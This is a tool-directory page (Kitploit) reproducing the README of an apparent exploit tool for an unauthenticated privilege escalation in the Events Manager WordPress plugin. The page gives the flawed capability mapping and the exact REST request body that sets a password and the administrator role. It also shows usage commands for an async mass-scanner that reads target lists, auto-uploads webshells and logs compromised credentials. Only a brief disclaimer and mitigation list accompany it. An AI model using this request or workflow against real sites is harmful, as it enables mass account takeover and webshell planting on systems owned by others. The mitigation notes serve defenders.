Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-18366 — Events Manager < 7.4.1 - Unauthenticated Privilege Escalation to Administrator | Kitploit
Tools/GitHubGitHub/nxploited/cve-2026-18366
Privilege EscalationWeb Vulnerability ScannersExploitationWeb Application ExploitationInformation GatheringPost-Exploitation
GitHubnxploited/cve-2026-18366

CVE-2026-18366

Events Manager < 7.4.1 - Unauthenticated Privilege Escalation to Administrator

View Repository
1124 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-18366

Events Manager < 7.4.1 - Unauthenticated Privilege Escalation to Administrator

CVE CVSS WordPress

Typing SVG


🔗 Stay Updated

Telegram

For the latest zero-days, exploits, and security research

Telegram Channel


📋 Vulnerability Overview


🔍 Technical Description

Root Cause Analysis

The vulnerability exists in EM\Archetypes::map_meta_cap within classes/em-archetypes.php. The plugin improperly scopes its capability mapping by:

  1. Treating ANY object ID as a post ID
  2. If the post is an event or location CPT, it wipes $caps = []
  3. Never refills capabilities for edit_user, delete_user, or promote_user
  4. Empty caps → has_cap() returns true, including for user 0 (guest)

Attack Vector

root@kitploit:~
POST|PUT|PATCH  /wp-json/wp/v2/users/{id}
POST            /index.php?rest_route=/wp/v2/users/{id}

Body: {"password":"...","roles":["administrator"]}

Condition: {id} must equal wp_posts.ID of an event or location CPT.

⚠️ Unauthenticated REST does not require a nonce (no logged-in cookie).

Guest Booking Exploitation

Guest bookings (dbem_bookings_anonymous=1 by default) create real WP users, enabling collision forcing. The booking nonce is publicly available on event forms.


🚀 Usage

Requirements

root@kitploit:~
pip install aiohttp

Quick Start

root@kitploit:~
python CVE-2026-18366.py

The script will prompt for:

  • list → Path to target list file (default: list.txt)
  • speed → Concurrent workers (default: 10)

Command Line Options

root@kitploit:~
python CVE-2026-18366.py -l targets.txt -s 20 --timeout 30
OptionDescription
-l, --listPath to file containing target URLs
-s, --speedNumber of concurrent workers (1-200)
--timeoutRequest timeout in seconds (default: 20)

Target List Format

Create a list.txt file with one target per line:

root@kitploit:~
https://target1.com
https://target2.com/wordpress
http://target3.com
target4.com

📊 Output

Console Output

root@kitploit:~
[+] [HH:MM:SS] target.com  ADMIN  username:password  uid=X  path
[+] [HH:MM:SS] target.com  SHELL  https://target.com/wp-content/plugins/...

Results File

Successful compromises are saved to adminS.txt:

root@kitploit:~
https://target.com | username:Nx_admin_@!KSA | uid=X | path=id-collision | ADMIN | shell_url

🔄 Exploitation Workflow

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                    CVE-2026-18366 Flow                          │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  ┌──────────┐    ┌─────────────┐    ┌──────────────────────┐   │
│  │  Detect  │ →  │ Collect IDs │ →  │  PATH A: ID Brute    │   │
│  │  Plugin  │    │  (CPT/HTML) │    │  REST /users/{id}    │   │
│  └──────────┘    └─────────────┘    └──────────┬───────────┘   │
│                                                 │               │
│                                          ┌──────▼──────┐        │
│                                          │   Success?  │        │
│                                          └──────┬──────┘        │
│                                       No │      │ Yes           │
│                               ┌──────────▼──────▼──────────┐    │
│                               │                            │    │
│  ┌──────────────────────┐     │    ┌─────────────────┐     │    │
│  │  PATH B: Guest Book  │ ←───┘    │  Login + Verify │     │    │
│  │  Create user until   │          │  Admin Access   │     │    │
│  │  user_id == post_id  │          └────────┬────────┘     │    │
│  └──────────────────────┘                   │              │    │
│                                    ┌────────▼────────┐     │    │
│                                    │  Upload Shell   │     │    │
│                                    │  (Plugin/Theme) │     │    │
│                                    └────────┬────────┘     │    │
│                                             │              │    │
│                                    ┌────────▼────────┐     │    │
│                                    │   Save Results  │     │    │
│                                    │   adminS.txt    │     │    │
│                                    └─────────────────┘     │    │
│                                                            │    │
└────────────────────────────────────────────────────────────────┘

⚙️ Features

  • Async Architecture → High-performance concurrent scanning
  • Dual Attack Paths → ID collision + Guest booking exploitation
  • Auto Shell Upload → Plugin/Theme webshell deployment
  • Version Detection → Automatic vulnerable version identification
  • Smart Username Enum → Multiple enumeration techniques
  • Login Verification → Cookie + XML-RPC validation
  • Privilege Escalation → Auto-promote to administrator

📁 File Structure

root@kitploit:~
├── CVE-2026-18366.py    # Main exploit script
├── list.txt             # Target URLs (create this)
├── adminS.txt           # Successful results (auto-created)
└── README.md            # This documentation

⚠️ Disclaimer

root@kitploit:~
╔══════════════════════════════════════════════════════════════════╗
║                        LEGAL DISCLAIMER                          ║
╠══════════════════════════════════════════════════════════════════╣
║                                                                  ║
║  This tool is provided for EDUCATIONAL and AUTHORIZED           ║
║  SECURITY TESTING purposes only.                                ║
║                                                                  ║
║  • Only use on systems you own or have explicit permission      ║
║  • Unauthorized access to computer systems is ILLEGAL           ║
║  • The author is NOT responsible for any misuse or damage       ║
║  • By using this tool, you agree to these terms                 ║
║                                                                  ║
║  Use responsibly. Stay ethical. Respect the law.                ║
║                                                                  ║
╚══════════════════════════════════════════════════════════════════╝

🛡️ Mitigation

If you are a WordPress administrator:

  1. Update Events Manager to version 7.4.1 or later
  2. Audit user accounts for unauthorized changes
  3. Review access logs for suspicious REST API activity
  4. Implement WAF rules to filter malicious requests

👤 Author

Nxploited (Khaled Alenzi)

Telegram


Security Research • Ethical Hacking • Zero-Day Discovery

Download Tool
AttributeDetails
CVE IDCVE-2026-18366
Severity🔴 CRITICAL (CVSS 9.8)
PluginEvents Manager for WordPress
Affected Versions< 7.4.1
Vulnerability TypeUnauthenticated Privilege Escalation
Attack VectorNetwork
Authentication RequiredNone